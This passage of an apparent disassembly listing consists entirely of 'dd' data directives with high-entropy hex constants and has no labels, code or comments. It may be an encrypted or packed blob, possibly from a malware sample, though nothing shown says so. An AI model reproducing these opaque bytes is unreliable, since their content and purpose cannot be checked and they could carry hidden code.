		dd 9FB9B726h, 72048B57h, 2A894C6Bh, 4E1698A9h, 1CCEFE23h
		dd 0CCF7EE80h, 0FD065EF6h, 8F5312CFh, 15E9E2C6h, 0B573F7ACh
		dd 860804AEh, 0F9EC27E3h, 1643C605h, 3BE87A92h,	173EBC10h
		dd 83FFDA28h, 86E76A2Bh, 0BE123E7Bh, 0B01EB26Ch, 0F6B12092h
		dd 0E57563A5h, 0B3E94110h, 7B48AC32h, 0C652F80Bh, 80812034h
		dd 43BDC0BFh, 0B06B4A77h, 0D944FCCh, 175EC350h,	0EB6D093Dh
		dd 8FD9242Dh, 0DC48EB73h, 0CD08D913h, 0CDA5212Ch, 9AA301Dh
		dd 153E6717h, 56FB4801h, 0DACE0880h, 43589D39h,	8BB1E927h
		dd 7F1329A3h, 428FC45h,	0BE488A00h, 11A6053Eh, 0A0194E0Bh
		dd 0EFA89CEDh, 5D14C40Dh, 9C5640Eh, 0D72E188Ch,	90F7F729h
		dd 10EFCBC2h, 4831CDACh, 0BCD05F2Dh, 95E237E9h,	0FC9E96D5h
		dd 0AD6F9438h, 4177F384h, 874B39CDh, 0F748E8CEh, 0C0AEA0DDh
		dd 0C20E8BA3h, 45D3503Dh, 0A90A478Fh, 44A60A6Fh, 0FE807E3Dh
		dd 0CEC1E4C9h, 0B98F8008h, 4A5A3DC6h, 175E529Dh, 0B37C0159h
		dd 0F490BB2h, 79F5844Eh, 42E029FBh, 0FB5314F9h,	7CF813A5h
		dd 9968250Bh, 0AFA6A171h, 30E89A17h, 4B9B28A9h,	916416FFh
		dd 3A92E92Bh, 5FEA78D0h, 58799059h, 2A7E0661h, 25F97387h
		dd 0B45904E8h, 54BA220h, 0F0C073A2h, 0F7540717h, 774ADA27h
		dd 0E27DD0E6h, 644AE9F4h, 0F3903F18h, 415F2D78h, 3ACAD901h
		dd 81C0C627h, 0F55C4B97h, 85EB0226h, 7725B5F9h,	8F092574h
		dd 65E2761Bh, 5F1DE865h, 0E982ADE6h, 0D1DF9FC1h, 112C1115h
		dd 0C7022A55h, 0B3E5296h, 619AC148h, 0AD771D2Eh, 0CBA4D725h
		dd 6E07C2F9h, 2BF5701h,	80EDB26Ah, 0F74ACEBBh, 93F0B566h
		dd 2F44B220h, 9FB0D128h, 0A958B753h, 208701BCh,	0C7FE59EFh
		dd 2DE9CD60h, 95A2CF7Ah, 99DF4FABh, 0D134D709h,	2063904Bh
		dd 0BD3C5C5Bh, 5EC92480h, 62BCE501h, 0C81448Ah,	162E7175h
		dd 3E5CD6E9h, 0E3EA8935h, 0DE1CCBE1h, 0A57570A8h, 0AC2FBF81h
		dd 2D0C5B86h, 4C458A5Bh, 5CC1C1A7h, 0F0028864h,	18D729A2h
		dd 3041DEAFh, 0D987298Eh, 4D487993h, 5600DC6Ah,	0AE0D0468h
		dd 0C0BD5E07h, 0A124C460h, 0E42A89C6h, 0FC82B616h, 70812FDAh
		dd 3AFE7BFAh, 0E9C442AFh, 0A865D70Eh, 54565507h, 0A2FFDDE4h
		dd 0E2426066h, 0C2220908h, 0E87AB170h, 5BC3A98Eh, 7673C969h
		dd 68344660h, 134A0B1Eh, 1C955816h, 0C805C231h,	0DFE07C09h
		dd 8080ABC7h, 0FE255EEBh, 30E4DE27h, 0F87E38E1h, 9F2A7E5h
		dd 736635h, 788DB951h, 0A6BD17DEh, 318E22DCh, 20708BCDh
		dd 1F56B9D1h, 65134893h, 6CE0AE01h, 30C801ECh, 2A4FBD64h
		dd 63863028h, 28CB0B37h, 0DEEA464Eh, 0B8C84F0Fh, 487F8214h
		dd 6D02825h, 0F65CB353h, 802604D3h, 0CB199AF3h,	0C13FA0FEh
		dd 2E1F6967h, 0B16A728Dh, 0F77BA5CEh, 675C4862h, 2ED26841h
		dd 1301CA3Eh, 5706575Bh, 4D71764h, 0D26E5CC2h, 5F16BBEDh
		dd 1F73D107h, 0D8AF3DD5h, 5D608634h, 5753BA34h,	81710150h
		dd 6F349FCAh, 16F07B2Bh, 47480B46h, 0D85E0968h,	30F3CF07h
		dd 0FC167606h, 1ACB36Ah, 77BF7FF4h, 12392329h, 34FC490Ah
		dd 273DFC4h, 6C7DDC68h,	1E3B0BA0h, 64F425EDh, 3C283E28h
		dd 0EA04BEF4h, 4EB8760Eh, 12C8B0AFh, 575E20BAh,	0D08595B9h
		dd 90A11154h, 0C680528Bh, 6F96625Eh, 5DD2C29Fh,	13C68E03h
		dd 2B298D2Dh, 78A6F47Bh, 499755A3h, 0FA150C1Ch,	4EA29E8Ch
		dd 0DE6DA88Bh, 74615849h, 38358850h, 7D163126h,	1C66380Eh
		dd 0D64695FEh, 4F85581Ch, 3FF3EE13h, 0F40368Bh,	64C4FC88h
		dd 10B977Dh, 5E97B158h,	0F06293CEh, 0F1643142h,	0D31225BEh
		dd 1F4B63DAh, 0DBB7C1FAh, 27AC6648h, 5DD00504h,	0F3FB4E84h
		dd 5B83D577h, 0B51F04C8h, 11F0C6C4h, 50A85E4Fh,	0C67531CBh
		dd 7C5248A6h, 34A30610h, 0B0E0A85Eh, 692B09BBh,	0F9004CAAh
		dd 0B7D1F4Fh, 0F9CB212Eh, 0B593605Ah, 0DD597262h, 8F482784h
		dd 3212CEC2h, 22016C3Dh, 0E1800166h, 2E749440h,	9C3E5427h
		dd 5A08A1EFh, 7E685641h, 0EFE91764h, 0BAAEFBFEh, 0C05F1AA4h
		dd 37667FCDh, 1A68F9BFh, 50DF107Bh, 0A5C8C1F5h,	0FC4D5968h
		dd 420E6BC9h, 0E04174D2h, 9E4AC6E1h, 9001BF56h,	7BCA1BE9h
		dd 0F10206FDh, 285D45A0h, 0AB806960h, 0F62FAF27h, 38BB0079h
		dd 501FCC71h, 0E905C4B3h, 0EF88CB43h, 6BE9E35Ah, 404FF86Eh
		dd 87A85908h, 0BC09961Bh, 1FB8953h, 6514E991h, 4F56878h
		dd 9570803Dh, 0C450F230h, 0FCFA3968h, 4F7FC537h, 667232FEh
		dd 0A9B3897Fh, 0BC65F5C3h, 1E9F2C0h, 0FB82C59Bh, 0EAC794E7h
		dd 973E25E1h, 0BE34B4F9h, 522D76E3h, 3DB87C80h,	0D3B8615Eh
		dd 0F1F0D05Fh, 11010005h, 0A6352958h, 2A5F03AFh, 0EF6575BEh
		dd 0B83AD6F5h, 23E94F64h, 124FEEA6h, 0A0ACCF57h, 5EB6191Ch
		dd 12076488h, 3FE0A021h, 1870C241h, 2A3C107Eh, 1A73486Ah
		dd 0D31E5E3Ah, 0D6E94154h, 0F79924D0h, 6F634809h, 0E2890043h
		dd 903D307Eh, 1C2C093Ch, 25003444h, 45EF4A75h, 2051F897h
		dd 0BA04DF55h, 24F60B5Ah, 97C64A9h, 4235B246h, 73005252h
		dd 547EB38h, 1E941FB3h,	6E4AE97Fh, 65F282BFh, 0E0DD3B01h
		dd 5ED674C5h, 264AED69h, 0B880CBB9h, 0CCE1D9Eh,	0A9E85A83h
		dd 0C435026Ah, 0D7338767h, 86598603h, 53B12E03h, 0CF66CA88h
		dd 0A287D304h, 79D7ACF4h, 777429B9h, 1AF2104Bh,	68120650h
		dd 8ECC3D11h, 0BF0A4006h, 0E721F003h, 0A6D14F43h, 208805D8h
		dd 0BF097D1Dh, 0D6F71A00h, 0B04FBC07h, 2AC10C78h, 931871B8h
		dd 0CE8A6A02h, 0D4B283E9h, 7A66E9C1h, 469AF980h, 0F09641E2h
		dd 8305EA89h, 0E8170B4Ah, 58F6E976h, 0DB84118Eh, 0A67FE81Ch
		dd 6B68165Eh, 0A592CC1Fh, 5E2F541Eh, 0EBE9C704h, 0C60F01EDh
		dd 3ECC784Ch, 6E173C0Ch, 0B7947695h, 40C081Ah, 0DAFC5F14h
		dd 9776E35Ah, 70D9DA98h, 9C759F5Ch, 84354E53h, 63E8EAB8h
		dd 0D2A420B3h, 0E382F127h, 0DF6F8C2h, 0F9606660h, 0FE897C45h
		dd 1EA4E590h, 0E89A2087h, 60D0E806h, 9FBE0C50h,	0C2959BB3h
		dd 4881F7F6h, 7EF6E6E9h, 0ACEF2B40h, 0B8220D74h, 860D045h
		dd 15450C67h, 37A01425h, 9B23D31Ah, 0E22F24F8h,	60AC4AECh
		dd 2F31747Eh, 85D61534h, 0A14AC729h, 0A84A8A10h, 69508F30h
		dd 2E115A6Dh, 0E2F4471Bh, 51FF9C9Dh, 0C35FC2BFh, 2B6FDBF6h
		dd 0FE08AB4Dh, 47C9AF67h, 2B7F354Ah, 91FDBE83h,	0F1D459EEh
		dd 6483BF5Ah, 7B3B3CE2h, 4A4FF3E5h, 0C59F20FFh,	6B2563C2h
		dd 93BDE509h, 1A909E5h,	46FA1F81h, 0C19E4027h, 0B8483048h
		dd 248712ECh, 0C2A7FAF8h, 2091EE7h, 0B533DD1h, 0B7A9080Fh
		dd 8097AFD0h, 0FA365811h, 1479021h, 28FF342Bh, 7F3D3EE9h
		dd 9746A8CCh, 39639EFFh, 0F35B4FE9h, 768E9664h,	5CB16058h
		dd 84476C2Dh, 4A0E2854h, 0E63EE3C5h, 0A0082281h, 0D2E09360h
		dd 6A4C18DBh, 0A63C3349h, 29BFDB65h, 0CB297218h, 0B42A404Ch
		dd 0F480185Eh, 0FED5064Eh, 0EE68CC0Ah, 0E985681Ah, 0AD9127A8h
		dd 302F51C0h, 8B6FB7E6h
		dd 0EF093B17h, 47C871AAh, 554F025Eh, 6850BE80h,	0CA091D02h
		dd 8231582Bh, 0D76A3220h, 0C880D564h, 4D284A37h, 4920E241h
		dd 0C81EC03Fh, 783C2D59h, 9F0FAB2Ch, 9C350307h,	6850EB92h
		dd 9553F9DFh, 82F02427h, 0A4A63557h, 849C847h, 215D0BB0h
		dd 80D516F8h, 9FFA485Dh, 3349EF9Ah, 2A17CB1h, 8D712705h
		dd 0C3F2FD47h, 0B050530Fh, 22442434h, 795E89EEh, 0A353287Eh
		dd 38ACBF4Eh, 0B620E490h, 0D84BAD79h, 0BD16CE98h, 0AB2DBB04h
		dd 0B0AF5AD6h, 0BAD5D37Eh, 4AAF49F4h, 0F3D9BEB1h, 0A81E1430h
		dd 565D68AEh, 0B215E84Dh, 8800FF80h, 5166C4FEh,	3D9084B1h
		dd 51E5B4Dh, 722B7A45h,	0EFF1D3C0h, 20D02865h, 0B8D495D1h
		dd 793BE905h, 12A1E6EBh, 0F2B0C328h, 5798AA3Fh,	5BD3E2h
		dd 0D43CB609h, 0C268D0D4h, 0F3E96940h, 1BE5524h, 668C32ACh
		dd 8004EEC1h, 0FB9F438Ah, 0B8F5318Fh, 5A6D40CAh, 4D590507h
		dd 0DEB20DB7h, 0F08AA964h, 66490F07h, 0BDA433F4h, 9F4F450h
		dd 0E3785Ah, 153F8958h,	2FA57FFCh, 8DFA83CEh, 3F24AE00h
		dd 3E12D53h, 0AC124EE5h, 5E074035h, 18493500h, 0BCE96C6Dh
		dd 367D95DBh, 0E97697FCh, 2D049852h, 0D7878068h, 31D2F71Dh
		dd 60B0973Dh, 0C500D1ADh, 59EB28EDh, 9CFC292Ch,	5B5B8BBAh
		dd 5FCA5130h, 0F8BE4B6Eh, 0A6503BBCh, 0E201AB8Bh, 1AEB5AD2h
		dd 90C1897h, 0BD805663h, 65B6494h, 4BAE5895h, 2229A197h
		dd 0F168C22Fh, 97B75159h, 0C15043F6h, 0FA0002EBh, 334DE5B5h
		dd 1E5BDD09h, 6EE9D5F7h, 67B981B5h, 7B20DA45h, 716027E5h
		dd 217E0AE2h, 10CE59CBh, 54A05E91h, 88A316B6h, 0F2BC04F4h
		dd 0F5FE0973h, 202A2022h, 0D2EF5E5Dh, 5CFCBA62h, 8E03F468h
		dd 0F11F9D0Eh, 0F22E30CAh, 0F9405C2h, 0D4C27923h, 8936620Dh
		dd 0E0D58FB8h, 554385E1h, 96DC937Eh, 5FDEE021h,	8F7945B7h
		dd 92095A66h, 12756B04h, 494981BFh, 35207F69h, 2FC035B6h
		dd 0FE05EEh, 56A5A53Ah,	0B0B40F5Bh, 0C8D5DC49h,	7330E954h
		dd 0F7F049E6h, 89225D27h, 52FF65DAh, 1FDE9557h,	0ECEED7A5h
		dd 519204B3h, 0FF59AFC2h, 1FE5514h, 214EDADCh, 6C76E4DFh
		dd 0C14C44AFh, 0ABBF0010h, 1725A516h, 0D01EF83h, 414757B4h
		dd 6A7BE962h, 0FE284605h, 4A6A4128h, 18F5B641h,	8032C550h
		dd 682109F6h, 69B103A0h, 8802CEA1h, 2A1A40EAh, 0FE308BEBh
		dd 685BEC02h, 65616230h, 0BE001CF6h, 2270FEEh, 0F016B849h
		dd 62F7B6D8h, 1AD67799h, 71C4E30Bh, 1D103C85h, 0F759256Eh
		dd 355B1114h, 1068D402h, 8852A327h, 0DCF992D7h,	0C9CA3FAEh
		dd 51E7974Ah, 0A49700B8h, 3D5278CDh, 0DED519AFh, 0D620D21Dh
		dd 0B3D61F6Ch, 0F0C75799h, 0AB1325B1h, 9100E606h, 650508E0h
		dd 0EBA0756h, 747F382Dh, 78CAF4Eh, 59811228h, 0EB14A0C6h
		dd 0D3613363h, 0A172124Bh, 0B2EC6108h, 0CB8100B6h, 67F14F5h
		dd 0D38815Eh, 0B44A0E58h, 0E4C7D907h, 0D709370Ah, 1654A3ECh
		dd 570255A6h, 0EE0275BFh, 0B2C0F563h, 495CDF5Bh, 0AE052C16h
		dd 30CFFD08h, 59094A42h, 6D74157Bh, 0CBA37782h,	0AB8422E4h
		dd 54C62AB9h, 0A5006459h, 81463555h, 47B5DF7h, 67E90A97h
		dd 5F38EA2Fh, 68570F51h, 65267A43h, 0B301385Fh,	0C16AD532h
		dd 90BE07E7h, 67937809h, 98326375h, 606558EDh, 0E0F66A20h
		dd 105E0DC4h, 0F98017h,	35416225h, 30653B58h, 33AE61EFh
		dd 29680095h, 0AD0CB163h, 53B46EE8h, 34B05782h,	8E82B850h
		dd 0E258E95Eh, 7CE05F81h, 33C07AFAh, 67EC581h, 68250B76h
		dd 0D8746F84h, 29F5B960h, 0B84A0B83h, 7C581720h, 0B1B1225Bh
		dd 0AD6FFB25h, 5A5EA140h, 0BBD651ADh, 685D2F3Ah, 2D1E2217h
		dd 705C3CFDh, 9DFB2592h, 0D0D8EC9Fh, 23F6EFAAh,	58E9C158h
		dd 0FB4E1402h, 0CF29CA21h, 1FC0B154h, 20E182AFh, 169D0115h
		dd 0D2642E00h, 0B7B380DAh, 0E380DBF6h, 0F33B3873h, 0D8EB13BEh
		dd 1377BA0Eh, 0B2C6BF0Eh, 2D9C6AEDh, 0CB4BE350h, 2A0560EEh
		dd 0EF13C980h, 1A14BE9h, 32131B22h, 22528A6Fh, 9FCE7A14h
		dd 0E9D00974h, 221E6B36h, 89F5EF7Dh, 6A55A3B4h,	0FF965FF3h
		dd 6E4BA090h, 7B896AEDh, 0BD035C71h, 928C2AE1h,	4182FC55h
		dd 34C905E9h, 0E6E5C2B3h, 9A9A78F5h, 9922979Ah,	500D95Eh
		dd 7EA427BAh, 31591A56h, 2DDE8C3h, 0BEE789A7h, 53852065h
		dd 0F454292Fh, 0E0769C66h, 0CB2F30A0h, 0E109E1B9h, 53715EB4h
		dd 5F04D7EAh, 7485C0BAh, 0A16BB62h, 0FE01E2D1h,	0CC738305h
		dd 5244802Bh, 6D5E20E9h, 89FB8A31h, 41EFC724h, 6FE0E803h
		dd 0DDB814C0h, 40B8142h, 0BC390E05h, 0E7398310h, 2904B0A0h
		dd 5D68C31Fh, 0BDD03971h, 19050729h, 0BA088D4Dh, 80547B1h
		dd 40120781h, 0A6A3F87Bh, 0A8F67FF4h, 7C68E1DDh, 0A8119976h
		dd 7BE209E1h, 887280Bh,	6836F106h, 12C2D6E9h, 0E8AA7477h
		dd 958A1BE0h, 77A1E05Fh, 40FAC705h, 0C9BB5383h,	514B4B4Ch
		dd 6D756A1h, 0ED68DB0h,	9C0938D4h, 0F76D0C2Bh, 804D9E2h
		dd 0E5ACFB5Bh, 0B9D9E9C5h, 43EB046Bh, 31C18611h, 0BD006820h
		dd 0CF0413B2h, 5DEA2142h, 1FFD5AE0h, 0C255BFF9h, 127E3317h
		dd 0D0E6F2F0h, 280A2D51h, 205C442h, 41FF2CFEh, 6AD0674Ah
		dd 9113831h, 0DEF75E1Bh, 0E4A3DA80h, 0A495F3AFh, 10EC156Bh
		dd 68F18009h, 9FE43A78h, 4C90ADFh, 3E7155DDh, 20D5EC2Dh
		dd 8102B9C2h, 4053CFEDh, 0D05340AFh, 0E58980ADh, 0CD931FBBh
		dd 0FE022665h, 0DD0B6802h, 0C7921759h, 0ACEBAE84h, 1AACA1E1h
		dd 0BED26A63h, 58B00EF4h, 0ABD2EA15h, 0C0B05235h, 0BEB525E9h
		dd 1462F35Eh, 737DF67Dh, 0FE039FB2h, 1DF4B9C0h,	0B7D83B34h
		dd 0F040C5F0h, 4B480F2Dh, 0A24543FBh, 0EB8B49C6h, 0D692C25Fh
		dd 0FAC3C450h, 7B8AED5h, 0C4CBAE4Fh, 48E59318h,	0EB90EED1h
		dd 7C549C12h, 5D9E01AAh, 2FE244F0h, 40E744B4h, 2AC14362h
		dd 1C941011h, 951642F0h, 312D83C6h, 0BDDAC4D7h,	4569B771h
		dd 17E904D5h, 1BB2FFFCh, 3E5A0D00h, 0E8834843h,	935011Ah
		dd 6B5E7C13h, 0D0D55B04h, 0B962E092h, 2A0D3302h, 0FF13A336h
		dd 725CAB00h, 0D3EA0CBCh, 8BD9DD38h, 545019E9h,	1655EB5Fh
		dd 3261243Ah, 0A8B6C21Bh, 0A10F809h, 777957A9h,	0BC870B8Fh
		dd 0ACA805F3h, 474ED590h, 4BA979D0h, 26567BA0h,	85BF1F8Ah
		dd 832C1904h, 44B7E872h, 3E1EAA66h, 0AA48C3EDh,	5A7A091Fh
		dd 7D18F505h, 72804992h, 745DFA89h, 5F50B8B1h, 0FB3617DAh
		dd 5A126FCFh, 0B976AA58h, 3CD597B4h, 5BD4C38h, 9D48E982h
		dd 2AEFED6Ch, 5AE122FAh, 0DCBF166Ch, 0A50E7041h, 0ACD0AE83h
		dd 0B16AFE94h, 0DD00EE1h, 13F41AEAh, 4C39EF23h,	0F6C63B24h
		dd 36E02759h, 7E259AFCh, 247249Ah, 0FD520F8h, 975CF829h
		dd 8875C4D0h, 0B4413181h, 0F76D6D77h, 2FD95925h, 0F0F1AB96h
		dd 0B8B9F6Ah, 745D0D68h, 7474C97Ah, 6F6F75E9h, 0CAF9EA0Bh
		dd 39FC57AAh, 5A44CE81h, 0CF7231DEh, 0B01FA37Ch, 4CE1C992h
		dd 0FC049243h, 0C4511152h, 414B8484h, 0CE9FD08h, 0A8B37B64h
		dd 53E1F70Fh, 60C0E59Dh, 9D78B359h, 0CF52332Ah,	0EB3B2645h
		dd 93E62D0Ah, 68355DB0h, 0FBACD21Dh, 6E78EC0h, 57B63016h
		dd 96E90512h, 22FEEE5Ah, 6461E3E1h, 6B71F50Dh, 9E352601h
		dd 0A420C4D7h, 0B5F7BAF6h, 605A11FEh, 0B97F25DCh, 0A60C6250h
		dd 4377BE00h, 0AC0F57C4h, 2F504177h, 68B121FAh,	0FD4B7ACCh
		dd 0C73048AFh, 596A1264h
		dd 3D2B01D9h, 7D3CC419h, 690841C0h, 0A4399F77h,	712FAD68h
		dd 0CFE9E1A1h, 0EA63962Ch, 0FA95C5EBh, 0BAD7E7B3h, 5C2DA3CAh
		dd 59B8907Fh, 0D8888017h, 43D407EEh, 29C0009Bh,	0BE5618C4h
		dd 2DB31EF3h, 0B0F55298h, 0D08FA62h, 3E015D23h,	8D7E82Eh
		dd 0BA3C54E0h, 0FD303C66h, 284F61DEh, 1BBB04F0h, 8474A9BBh
		dd 68024FA4h, 2DCC49BDh, 0BB526325h, 9155D976h,	4F78AD63h
		dd 0BA5E8428h, 8C4CFF8h, 78199859h, 91A1691Fh, 0CD55AC7Fh
		dd 43B3107Ah, 77397EFh,	0E5F2D1A7h, 0B3F98829h,	27C91660h
		dd 0BC573819h, 6773BF38h, 0F45F1CA9h, 0DF98EAC4h, 68825236h
		dd 49774A18h, 0B09D458Fh, 253AD079h, 0BE890B61h, 6AB7C200h
		dd 0ED992DE3h, 6714EF80h, 99E901C2h, 14E1C0CBh,	7F4BC845h
		dd 41671EBAh, 511F2128h, 0BCB87A5Dh, 6C5B31A8h,	0F9251DADh
		dd 7F9DE058h, 0FFA1569Ch, 0F7580240h, 2447A291h, 0BD09BAA5h
		dd 0F611190Fh, 45BE005Ah, 0E978D887h, 0E4F86527h, 98D8B7B4h
		dd 841CC60Fh, 7739E942h, 5EBF5620h, 67BFB4Ch, 8987EB2Ch
		dd 72EF5A97h, 0CC748EF2h, 2E7EBD00h, 48F74315h,	267676DDh
		dd 1383E086h, 58A52D5h,	0BBEF8D1Ah, 5D0A4904h, 0E4EBA816h
		dd 0AE3BDBA5h, 0DEFAB717h, 4EE9091Fh, 4FBFFE18h, 0BF1B3B05h
		dd 551E12B2h, 1E60C958h, 17023DC9h, 440966E2h, 157A1339h
		dd 61A3AEFFh, 0E1130C88h, 3684F416h, 9420A2EEh,	2E5A2048h
		dd 4ECF2FE9h, 0FF3B49C5h, 8F1B7921h, 0CF810004h, 2B7A6770h
		dd 5F29C9A0h, 31469105h, 0AB5EF7h, 5577997Ch, 6B4B15E9h
		dd 0A6E7CDBFh, 79A70564h, 7BE46F7Ah, 0E6FCAAF2h, 59B229CCh
		dd 4A5B9AF2h, 65383331h, 0D27B75C2h, 38F3ADh, 69BA38C1h
		dd 0E03FC981h, 0F513A86Ah, 0EF099D0Fh, 6090141Ah, 0CC713F12h
		dd 0F4CFEE60h, 24F55BD4h, 3AE0C20Bh, 0BDDEF009h, 4B470168h
		dd 2362C0B1h, 0B72C033Ch, 2E78C6B9h, 0D29E87FDh, 2822E0BFh
		dd 0ED2CD003h, 9FB65266h, 0A234D1D2h, 0FF39FCCDh, 8B88E219h
		dd 0CFED039Ah, 1FA308ABh, 3F38000h, 3E58C330h, 0D698DD20h
		dd 81BB1A0Dh, 6C5C2F16h, 9AC3F900h, 0C11ACC77h,	3365410Ch
		dd 0C4E83F0Bh, 0E9DB0961h, 0D43825FAh, 0ACF143Dh, 1AEE65ADh
		dd 0FC3B34EFh, 424B2522h, 515B5D5Eh, 1A6DEA00h,	0F1C70121h
		dd 580884CAh, 690EE0FFh, 0CA4720B7h, 4F7B554Bh,	0C2110F27h
		dd 40E90398h, 0DDFEABAAh, 0D0107F2Dh, 9EB6249Fh, 9E0F4397h
		dd 3DF2C2C2h, 0A5B07D09h, 510ECB81h, 0DC6AF366h, 8AC8C5CFh
		dd 310083CDh, 0E9FCBA36h, 1FCB657h, 5C292D5Dh, 7FEC3A51h
		dd 58E72410h, 9CEA03A7h, 0E264BD07h, 0DF186AFDh, 56C5BDD1h
		dd 0FB9152C4h, 0BC3A5B5Ch, 0C0ABE4CCh, 5116E01Ch, 87E9500Bh
		dd 2A50A025h, 0F41C6075h, 0AC674122h, 285805CEh, 0C32C27D8h
		dd 0F2CB97FEh, 4000B09Bh, 0F5A39148h, 5E8C198h,	0F8575535h
		dd 857EDFE1h, 60F3E18Eh, 0E54EB19Eh, 25798AE3h,	0D6C69185h
		dd 9208F3B9h, 14DF2534h, 0F26818C9h, 0C1D3292Dh, 0D4135782h
		dd 0FDE0E2C2h, 0F4821566h, 0DFFA7AEh, 0F83F0CADh, 21FC5BB9h
		dd 2E70E102h, 0DD4573h,	29E20D31h, 50F32E9h, 0D079F171h
		dd 0CF40509Eh, 58306E55h, 32DC0505h, 80C14785h,	5627357Dh
		dd 2D3D0800h, 4961F3C5h, 0BCC74F89h, 17FC8C3h, 6E404668h
		dd 9D5F2079h, 0AA40304Fh, 29630A12h, 5DE9731h, 5EA66858h
		dd 87EB3151h, 0B14A0323h, 0BD7FF3CEh, 5E97DEEFh, 0A815AFCh
		dd 20F4F1D4h, 0D69ADF32h, 90AF7420h, 148F98FEh,	0A6B820C9h
		dd 471B3632h, 68894740h, 42B72F7Ah, 2C978064h, 0BD2DBCF4h
		dd 4D263EF4h, 61FA2316h, 6324203h, 0A12641Ch, 2FCB8DBFh
		dd 5688E3D4h, 4E29B634h, 60146E42h, 3AFCD680h, 5595361Ch
		dd 0ECCFC905h, 744E0AA6h, 2E00EE4Ch, 0E9165813h, 8C425ACCh
		dd 9CB45684h, 8080FB50h, 82A08852h, 0DD952E76h,	9B80C096h
		dd 0AC287487h, 0CF90D219h, 165FA1Dh, 81A1CB4h, 2140B1Ch
		dd 0F52A1A74h, 327E96Ch, 95494465h, 0E95099F6h,	0D11E59A1h
		dd 0CE697A94h, 1F8CCF7h, 22ED7196h, 0A6129BE9h,	173CA845h
		dd 5FE40BE1h, 7051640h,	3B8AFD3Ch, 4522896Bh, 47CE12Dh
		dd 68177078h, 0FB30BA79h, 179BB951h, 155933Bh, 6CC469F8h
		dd 0CBF0FEAAh, 1270C502h, 0E10111BDh, 845ED89h,	58E8F3EAh
		dd 98AB93E0h, 0B99AE03Eh, 0C03BA02h, 0F0290210h, 2A0F2D48h
		dd 0BDE1C05Ch, 428548CAh, 5E156C68h, 10640B54h,	55402CFAh
		dd 12C97EB9h, 9890E1Dh,	9CA52B29h, 0D881EA64h, 967810F8h
		dd 3DAE06D6h, 0D401D65Fh, 0E91A6217h, 902EFADAh, 0F1657213h
		dd 8B877B5Bh, 551470E2h, 75491879h, 0F897C4D2h,	7EB61FE2h
		dd 0A7FEE2C1h, 90A7F74Fh, 9A2207Bh, 6E2D5B02h, 5F4CD40Eh
		dd 2C07E208h, 1C75ADC2h, 41349407h, 0DF980EE9h,	3C7F5AC2h
		dd 8FE92F77h, 2B5907C1h, 8E31C6D9h, 95A08AFCh, 55E5FF56h
		dd 0A89B0388h, 1281BDE0h, 0FA4A7D75h, 0F74DAF02h, 3F9A7DD5h
		dd 5CD9AB00h, 9170223h,	9BB85DEEh, 8C66B10Bh, 0F65A5202h
		dd 0DFACBA75h, 2059D809h, 55136909h, 0DB08A46h,	592CC40Bh
		dd 15CCA46h, 2878E908h,	0AA4C883Ah, 0D0572265h,	0C15034E3h
		dd 91722F4Fh, 0D80715D6h, 70895E35h, 0B71907Ch,	873E939Ch
		dd 9777E1FFh, 0EA2A497Fh, 2662CFF7h, 0DD044B9Eh, 9977950Fh
		dd 5B5D7BF9h, 5E4D3E84h, 43240CAEh, 0FC01B32Ah,	5B66DE30h
		dd 843FF388h, 0C8AED0FEh, 92000459h, 5203E8C0h,	2DE97AB2h
		dd 65924754h, 30565057h, 0D3735260h, 2B90685Ah,	4324F6BBh
		dd 131A8CCCh, 0EB6C9F3Bh, 8167884h, 2A03D9EAh, 5760148Bh
		dd 0D1F6F7B1h, 0B6602A9Eh, 1DE9803Dh, 5DF1285Eh, 74E865C1h
		dd 783B899h, 0E82826D6h, 1D8A4F2Ch, 4FB3A891h, 0DB2C4F8h
		dd 0DE7BCBC2h, 3C708BE1h, 0E1F6127Fh, 1144B2ABh, 0F7A30E87h
		dd 41FC22F4h, 0B289295h, 0FFDA5F73h, 0B72E4D3Dh, 908B891Ch
		dd 2C7125EBh, 16F97B36h, 0B831AB73h, 810592CBh,	439118Bh
		dd 0CA2988AFh, 0BD01A4B6h, 1DFA020Fh, 5D5F497Fh, 780960F8h
		dd 0E35F291Ah, 0A52CD222h, 1C57550Ah, 0A42B9EE5h, 49D629E5h
		dd 0BD0CD304h, 3A00413h, 86A2C563h, 7A97829Eh, 80590EDFh
		dd 0C26677EFh, 0B40F06FCh, 53E9FA28h, 90B80BF0h, 541C1897h
		dd 0FC125648h, 94407782h, 0B3D75651h, 465094EDh, 7AD09AC4h
		dd 34452D75h, 0EA30BDDh, 0F037A903h, 8CC8C184h,	2F515B42h
		dd 0E93B0E8Eh, 8910C82Fh, 457140EFh, 6355828h, 4E6D5959h
		dd 7138CCABh, 0B6205189h, 13D0B24Dh, 6202BE56h,	240D333Dh
		dd 0BE038C68h, 761D5180h, 924E95D1h, 46BC3114h,	3A073018h
		dd 77274CBDh, 33027526h, 43E62C45h, 8653582Ch, 0C809E9C2h
		dd 90ED80ECh, 0B863865h, 4C8EAE4Eh, 12782F58h, 0FA45C767h
		dd 2F083C50h, 857C5B5Fh, 0A862E953h, 0F0312F9Ah, 0A9C14B32h
		dd 0F1293FA4h, 0C8BA4F30h, 231CF25h, 632D2749h,	4560B719h
		dd 758223A3h, 65D080C0h, 4E43FE86h, 1244FA37h, 49AA39FDh
		dd 8E800256h, 6E871F4Bh, 0F7D68925h, 36E90FA1h,	0D8647E9Bh
		dd 43422680h, 0EE2A5A26h, 5A088C10h, 0FBB41CB8h, 27A64561h
		dd 0D7F6E27Eh, 3F9221BAh, 77722F5h, 49181B2Dh, 5E49B3B7h
		dd 40AD672Bh, 0DFF763A5h, 625B6874h, 5FC0B8B8h,	1EA835Ah
		dd 0D1D78700h, 21CF81EFh, 4CB4090Dh, 8A2496E9h,	59C2F35Fh
		dd 0E1592776h, 582B93A7h
		dd 0D8733E9Dh, 3127127Bh, 408ECA10h, 0B90CAA4Dh, 9E13607Fh
		dd 31505B55h, 7141BADCh, 0FAFFC87Bh, 49505CFEh,	6E26E9FDh
		dd 0E8A89C2Eh, 7785A41h, 97740193h, 7A5C323Dh, 17C21693h
		dd 5730022Ch, 6B24BF6Bh, 55EFADD2h, 0E877CD7Ah,	62F3F4BFh
		dd 0C5750C63h, 65E0A554h, 0C89F1CB4h, 39802558h, 0F79CD5CFh
		dd 4F85288h, 8232B5F2h,	6C2E382h, 402EF76h, 57C22CB7h
		dd 0D3C6B6A9h, 98ED4CBDh, 1C9A1FFCh, 0C96A2FFDh, 0FF5A0807h
		dd 0BECFBBF3h, 0E056A84Ah, 0CB7DEB80h, 25022606h, 0B1104D06h
